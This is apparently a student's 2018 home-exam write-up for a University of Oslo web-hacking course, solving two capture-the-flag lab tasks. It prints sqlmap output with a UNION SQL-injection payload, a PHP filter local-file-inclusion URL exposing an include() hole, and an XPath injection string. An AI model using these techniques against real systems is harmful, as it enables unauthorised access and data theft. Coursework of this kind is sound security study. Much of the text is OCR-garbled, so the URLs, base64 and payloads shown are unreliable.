IN5290 - Home exam 5
Web hacking 3 — SQL Injection, Xpath injection,
Local File Inclusion — Home exam

Tanusan Rajmohan - tanusanr@ulrik.uio.no

UNIVERSITETET | OSLO

Hasten 2018



Find the flag on the site http://193.225.218.118 /WHO06 /taskl (parameter tampering)

The flag in this assignment is: UIOCTF{This_1s_a_pOssible_flag}.

This flag was found by trying different approaches, I tried blind boolean based sqli exploitation, exploitation with
sqlmap and simple sql injection. None of these worked, so I tried dirb which lead to nothing. Then I used burp to see
the post method and see which variables that was beeing sent. I saved the post information in a file and ran sqlmap
-r with the filename which gave a lot of information and then the flag. When I used dirb, it gave me a file called
"register” which downloaded a sql file wich lead me on the wrong path I think, but after using Burp I found the flag.
See images below to see specific what I found, I changed the proxy to work with Burp.
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ds# sqlmap -r sqldump.txt --dump

Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to
obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by
this program

[*] starting at 19:03:48

1 parsing HTTP request from 'sqldump.txt
] resuming back-end DBMS 'm
] testing connection to the target URL
ed the following injection point(s) from stored session

y (NULL) - 6 columns
Payload: r -7898' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(CONCAT('qvbkq', 'XocIILBGWnBzpFCyVdhjgZrKhqITmEoPhfWNEY
,NULL-- mEMx&password=s&submit=Login
[ ] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 11.16 (Oneiric Ocelot)
web application technology: Apache 2.2.20, PHP 5.3.6
back-end DBMS: MySQL 5
[ 1 [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[ 110 ] fetching current database
sqlmap got a 302 redirect to 'http://193.225.218.118:80/WH07/taskl/index.php’. Do you want to follow? [Y/n] y
is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y
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Find the flag on the site http://193.225.218.118 / WHO07 /task2

The flag in this site is UIOCTF{Getting_the_flag_needs_multiple_vulnerabilities_sometimes}. This was found
with a couple of steps. I first started to fool around with the webpage, then I tried the php filter and found out that
the command:

hitp = //193.225.218.118 /W HO7 /task2/index.php?car = php : /] filter /convert.base64—encode /resource = index.php
Which gave me the hash:

PDIYwaHAKICAgaWYgKGlzc2VOKCAKXOAF VFsnY2FyJ10gKSApewogl CAgICBpbmNsd WRIKCAkXO0dFVE
snY2FyJ10pOwogl CAvL3RyeSB0aGUgL2xvZ2luZm9yd X Nlen MKICAgfQo

@ Not Secure | 193.225.218.118/WH07/task2/index.php?car=php:/ffilter/convert.bas.. &g ﬁ]

PD9waHAKICAgaWY gKGlzc2ZVOKCAKX0dFVFsn Y 2FyJ 10gKS ApewogICAgICBpbmNsdWRIKCAKX0dFVFsnY2Fy] IUpOwoglCAvLJRycSﬂl
Audi

I decoded this and got the subfolder and the message you see below.

Decode from Base64 format
Simply use the form below

PDOwaHAKICAgaWYgKGlzc2VOKCAKX0dFVFsnY2FyJ10gKSApewoglCAgICEpbmNsdWRIKCAKXOdFVFsnY2FyJ10p
OwoglCAvL3RyeSB0aGUgL 2xvZ2luZm8ydXNicnMKICAgfQo

@ For encoded binaries (like images, documents, etc.) upload your data via the file decode form below.

UTF-8 ¥ Source charset.

@ Live mode OFF = Decodes in real-time when you type or paste (supports only unicode charsets).

< DECODE > Decodes your data into the textarea below.

<?php
if (isset( $_GET[car] ) i
include( $_GET['car']);
litry the /loginforusers
}

After this I got redirected to a page to submit car types which only took ”audi” in the input field. After a bit I found
out that xpath injection could be used. I tried several xpath injections and ended up with sentence:

” or position()=3]/*[5]—/a[’

A Not Secure | 193.225.218.118/WH07/task2/loginforusers/index.php

The available cars for UIOCTF{Getting_the_flag_needs_multiple_vulnerabilities_sometimes}:
UiOCTF{Getting_the_flag_needs_multiple_vulnerabilities_sometimes}
Car
type:
Submit

' or pasitiont)=3]/*[5]l/a

This lead to the flag as you can see above.



